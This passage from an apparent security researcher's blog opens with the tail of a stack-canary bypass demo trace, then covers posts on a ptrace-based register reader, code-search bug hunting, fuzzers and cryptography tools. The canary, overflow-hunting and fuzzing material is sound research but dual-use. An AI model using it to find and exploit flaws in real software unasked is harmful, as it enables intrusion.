"\247\33'", 3) = 3 rdtsc : 170812625185160 close(3) = 0 rdtsc : 170812625453820 mprotect(0xb8070000, 8192, PROT_READ) = 0 rdtsc : 170812626110840 mprotect(0x8049000, 4096, PROT_READ) = 0 rdtsc : 170812626430040 mprotect(0xb80a2000, 4096, PROT_READ) = 0 rdtsc : 170812626757220 munmap(0xb8076000, 50808) = 0 rdtsc : 170812627081740 write(2, "\nUSAGE: 1 (print Canary), 2 (ter"..., 52 USAGE: 1 (print Canary), 2 (terminator owerwrite)) = 52 rdtsc : 170812627674920 exit_group(52) = ?

For other possible FD exhaustion targets you can look here.

I didn't explain some things since they have been discussed before, so if you have unanswered questions have a look below :

http://www.trl.ibm.com/projects/security/ssp/

http://www.phrack.org/issues.html?issue=67&id=13

http://sources.redhat.com/ml/libc-alpha/2008-10/msg00016.html

http://cwe.mitre.org/data/definitions/769.html

http://en.wikipedia.org/wiki/Time_Stamp_Counter

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=511811

https://bugs.launchpad.net/ubuntu/+source/glibc/+bug/275493

http://sourceware.org/bugzilla/show_bug.cgi?id=10149

http://xorl.wordpress.com/2010/10/14/linux-glibc-stack-canary-values/

http://census-labs.com/news/2009/01/21/static-ssp-canary-debian-libc6/

Read registers with ruby

Wed, 19 Aug 2009 17:04:28 +0000

A couple of days ago I needed to get the state of the cpu registers of a running process during some specific events. The project I was playing with was written in ruby so I wrote a tiny little module that does just that, gives you the value of the requested cpu register. The module is called reginfo and below is the process I followed to do it.

First I had to write the C part of it, for the instrumentation. A simple way to get the registers is to use ptrace. First we attach to a process, then we get the register, then we detach and finally return the value.

For this to work as a ruby module we have to use the ruby.h

#include "ruby.h"
#include <unistd.h>
#include <linux/ptrace.h>
#include <sys/user.h> 
 
VALUE RegInfo = Qnil;
void Init_reginfo();
 
VALUE method_getr(VALUE self,VALUE arg,VALUE pid);
 
void Init_reginfo()
{
        RegInfo = rb_define_module("RegInfo");
        rb_define_method(RegInfo, "getr", method_getr,2 );
}
 
VALUE method_getr(VALUE self, VALUE arg, VALUE pid)
{
    char* input=RSTRING_PTR(arg);
    pid_t  process = NUM2INT(pid);
    struct user_regs_struct registers;
    long out=0;
    char outreg[10];
    ptrace(PTRACE_ATTACH,process,0,0); //attach to process
    waitpid(process,NULL,0);
    ptrace(PTRACE_GETREGS,process,&registers,&registers); //get'em
    if (!strncasecmp(input,"eax",3)){out = registers.eax;}  //make sure we don't cmpr case
    else if (!strncasecmp(input,"edx",3)){out = registers.edx;}
    else if (!strncasecmp(input,"ebx",3)){out = registers.ebx;}
    else if (!strncasecmp(input,"ecx",3)){out = registers.ecx;}
    else if (!strncasecmp(input,"ebp",3)){out = registers.ebp;}
    else if (!strncasecmp(input,"esi",3)){out = registers.esi;}
    else if (!strncasecmp(input,"eip",3)){out = registers.eip;}
    else {out =  registers.eip;} //default
    ptrace(PTRACE_DETACH,process,0,0); //detach from process
    snprintf(outreg,10,"%lx",out);
    return rb_str_new2(outreg);
}

Next it's straight forward, we create an extconf.rb file which when we execute generates the Makefile which will compile our module.

require 'mkmf'
extension_name = 'reginfo'
dir_config(extension_name)
create_makefile(extension_name)

And an example

require 'reginfo'
include  RegInfo 
	pid = fork do
	system("tail -f txt")
	end
puts getr("eip",pid) #here we get EIP

The above prints something like b7f577d8

You can download reginfo from here, the source code from here and project updates here.

This is a very simple linux module that performs only this specific task, more functionality will be added soon. If you are looking for something a bit more elaborate, have a look at METASM.

The Art of Noise

Mon, 22 Jun 2009 18:17:45 +0000

This post is on different subject than the topics covered usually, it describes my entry to the Noise vs. Subversive Computing compilation.

A couple of months ago Pascal Cretain invited me to participate in a very interesting project. A bunch of security people and a bunch of noise artists were going to collaborate, the mission was : The Noisicians will have "Subversive Computing" as their central theme, and the Subversive Technologists will work with "Noise".

Noise vs. Subversive Computing

This may not sound very complex, but it is! Despite what we use noise for and what our perception of noise is, it is not easy to generate, compose and generally conceive it in a controlled and meaningful way. Cacophony or atonality can very quickly displease, due to the surprise element which is usually generated by abnormal db fluctuations.

Having all these in mind, I start thinking of a way to create a natural sound (around noise) which will assist in creating a visually familiar image, without surprising the listener too much.

The idea that popped into my mind was to generate an audible version of a Rainbow. To do that I chose to use what it is known as the "Colors of Noise", which refers to the power distribution in frequency spectrum of different types of noise.

If you think that it is easy to create different types of noise, then I have to assume that you haven't tried. For my experiments I used the tools included in the CCRMA, and more specifically CLM (Common Lisp Music) and SND (Sound editor).

I also used several of the example scripts that come with these packages and in cases that I couldn't create a specific "colour", I used a bit of artistic license and normal mixing (subtractive and additive) e.g. yellow + red = orange.

Example script to generate Green Noise (bounded brownian noise) :
(definstrument (green3 start dur freq amp amp-env noise-freq noise-width noise-max-step) (let* ((grn (make-green-noise-interp :frequency noise-freq :amplitude noise-max-step :high (* 0.5 noise-width) :low (* -0.5 noise-width))) (osc (make-oscil freq)) (e (make-env amp-env :scaler amp :duration dur)) (beg (seconds->samples start)) (end (+ beg (seconds->samples dur)))) (run (lambda () (do ((i beg (+ 1 i))) ((= i end)) (outa i (* (env e) (+ 1.0 (green-noise-interp grn)) (oscil osc))))))))

(with-sound () (green3 0 2.0 440 .5 '(0 0 1 1 2 1 3 0) 100 .2 .02))

Finally, all colours mix with the prior colour/s right after they introduce themselves.
Something like : Colours[0], Colours[1], Colours[0]+Colours[1], Colours[2], .........
On the foreground , there is a minimalistic piano composition which tries to not distract too much from the background colours and helps in assisting the after rain "Rainbow" effect.

Noise vs. Subversive Computing

For more information about the project, the participants and their very interesting ideas,
visit : http://www.myspace.com/pascalcretain

The compilation has been released with
Computationally Infeasible Records

JCrypTool

Sun, 22 Feb 2009 21:07:01 +0000

Recently I've been invited by the CrypTool team to contribute to the JCrypTool project. I've been following CryptTool for some time and it is definitely one of the best tools to practice and experiment with cryptography and cryptanalysis.

Looking at the latest JCrypTool version, it is apparent that there are vast design improvements, it is also more modular, which makes the extensibility of the project a very easy task. There are several algorithms to use, symmetric, assymetric, hash, MAC etc. So there are lots of things to play with!

Diffie-Hellman /AES

In the Cryptanalysis part of the tool, there is a Columnar Transposition module, Frequency analysis graphs, aFriedman Test function and a Vigenere analyser/helper, so there is space for additions. Speaking of additions, I particularly like the plugins architecture in use, which makes the project very interesting indeed.

Frequency Analysis / Shark

In the past, I developed a simple cryptanalysis tool which I am now intending to move into JCrypTool in the form of a plugin and possibly doing the same for a very old project.

I recommend you go and have a look at it .

Source code review with AutoBugle

Tue, 05 Feb 2008 22:23:40 +0000

Note: Auto Bugle is a discontinued project

This article is kept just for reference. I will try to package the source code and give it as a download at some point.

Some time ago I start creating a list of google queries (Bugle) people could use to hunt bugs in source code available in the web. The project started before Google Code Search, so the only way to point to source code was using the Filetype and ? * . operators which worked pretty well. After a couple of months Google announced the Code Search service and the accompanied API which made things much more interesting. Using the new Google service people can supply full regular expression when searching and pinpoint to Bugs a bit more accurately.

Anyway, to cut a long story short, utilising jQuery, Google Code Search API and Bugle, I created an automated version of the Bugle project which looks as close as possible to a desktop based source code review tool.

To demonstrate Bugle Automated I will be looking for bugs in Samba. The first step is to add the package you want to inspect in the Scan field, as you can see below there is Auto Complete functionality available suggesting possible packages while you type a name.

After choosing a package, press scan an Bugle will do the rest.

The first screen you see is a bit empty , both the Main Panel and the Stats Panel will load as soon as you choose a vulnerability category from the left side. Bugle displays the number of issues of each category, so you can immediately get an general idea on where you might find a bug.

As soon as you choose a category a sub menu will be revealed, presenting all the different signatures in that category. At the same time the statistics Panel will load and all the relevant graphs for the project/categories and categories/signatures will be displayed.

Next we choose the Buffer Overflows category, with 205 hits and then the Generic BoF signature (with 50 hits). The Main Panel loads and then we can see each individual line with a possible bug. We scroll down until we find something that could be a vulnerability and click on that line.

We click the Line 117 of samba-1.9.15p8.mvs/source/sockspy.c and we inspect the code in the Code Snippet dialog. Then we scroll down until we find the line with the yellow highlighted text

We can see that strcpy(DestHost,argv[1]); is copying the arv[1] into the DestHost buffer which has 256 chars size. Now we can guess that if we pass in the command line DestHost larger than 256 chars we can create a buffer overflow condition. (Note that this bug in sockspy.c is in a very very very old version of Samba)

That's Bugle Auto Scanner, hopefully this will assist in discovering and fixing bugs out there.

Packedelic

Sun, 12 Aug 2007 09:10:32 +0000

Traffic Monitoring Tool [Java/WinInstaller]- [Screenshot]

Packedelic is a Traffic monitoring tool. It is based on JPCAP (Java pcap) library. Youn can see traffic using CaptureTool (jpcap) and hear it using Java midi. The sound idea (very experimental at the moment) came to me from Pascal Cretain and the visual idea by the lack of free windows based etherape-like tools. You can use it in linux as well if you install the jpcap linux module. WinPcap is required Download Here

Using Steganography to Improve HASH Functions’ collision resistance

Wed, 08 Aug 2007 21:38:28 +0000

Abstract:
Lately, hash function security has received increased attention. Especially after the recent attacks that were presented for SHA-1 and MD5, the need for a new and more robust hash function has become imperative. Even though many solutions have been proposed as replacements, the transition to a new function could be costly and complex.

In this paper, we introduce a mode of operation that can be applied to any existing or future hash function in order to improve its collision resistance. In particular, we use steganography, the art of hiding a message into another message, to create a scheme, named Σ-Hash, which enforces the security of hashing algorithms. We will demonstrate how, apart from hash function security, Σ-Hash can also be used for securing Open Source code from tampering attacks and other applications.

Conference: SECRYPT - International Conference on Security and Cryptography, Spain 2007
Authors: Emmanouel Kellinis and Konstantinos Papapanagiotou

If you need more information about this paper, get in touch.

FuzzMan - man pages based fuzzer

Wed, 18 Apr 2007 08:54:10 +0000

Fuzzing using man pages This article is to introduce a (probably) new fuzzing idea (FuzzMan) that is built around man pages. Many know that in *nix systems if you type man command you will get a manual page informing you on how to use a specific tool. So by just looking at the manual you can find out pretty much in seconds what type of argument and what options are offered by any given command.

The format which man pages follow is universal (mostly), so it is not very difficult to make a script and extract the offered options - which is exactly what gave me the idea of making a tool that can generate fuzzing data based on manual pages. Based on that concept we can fuzz as accurately as possible any command that has a man page.

So lets take a command and generate fuzzing data.

The choice for this example is "shar" - GNU sharutils 4.2.1

Shar creates "shell archives" (or shar files) which are in text format and can be mailed. These files may be unpacked later by executing them with /bin/sh. The resulting archive is sent to standard out unless the -o option is given.

Below you can see how a man page looks in the console

or have a look at the On-line Shar Manual pageThere are several options available for this command and therefore the fuzzer has to generate lots of combinations. Fuzzman catches signals so if you see that you have enough combinaitons you can press ctrl-c.
if you type ./fuzzman.pl shar you get :

=== Extract arguments for "shar" === STANDARD : --version : --print-text-domain-dir : --help : --version : -q : -p : -Z : -S : -z : -o : -l : -L : -n . . . : --no-i18n : --print-text-domain-dir ADDITIONAL : EXTRA BoF Arg : EXTRA Format String Arg : EXTRA Numbers Arg

:Number of Arguments :36 <=== it is not 100% accurate but is very close

=== Generate Fuzzing Script === +STOP GENERATOR WITH CTRL-C :Agrument combinations : 1040 <== This is the combinations counter :Partial shar.sh, not all combinations have been generated :Run fuzzing script [sh shar.sh]

We can see above that there are approximately 36 options. That would create several thousand combinations so I stopped it at 1040 combinations. Fuzzman tried different options adding arguments that could potentially lead to different overflow types, now the shar.sh script is ready.

Starting the shar.sh will execute the command 1040 times.

As we can see above we hit into a bug, Segmentation fault is always a sign.

You can download Fuzzman from here,
Enjoy

Note: This version of Sharutils have been reported for both Buffer Overflow and Format string vulns some time ago (here and here)

JavaFuzz

Tue, 23 Jan 2007 16:07:59 +0000

Java Fuzzer [Manual Page]-[Example Bug]
Java classes fuzzer based on the the Java Reflection API. The reflection API represents, or reflects, the classes, interfaces, and objects in the current Java Virtual Machine. Using the reflection API it can contruct and invoke any given class (or list of classes). After getting the types that a class accepts will construct the classes using inappropriate values. JavaFuzz is also hosted at ~~Google Projects~~ github with source code here .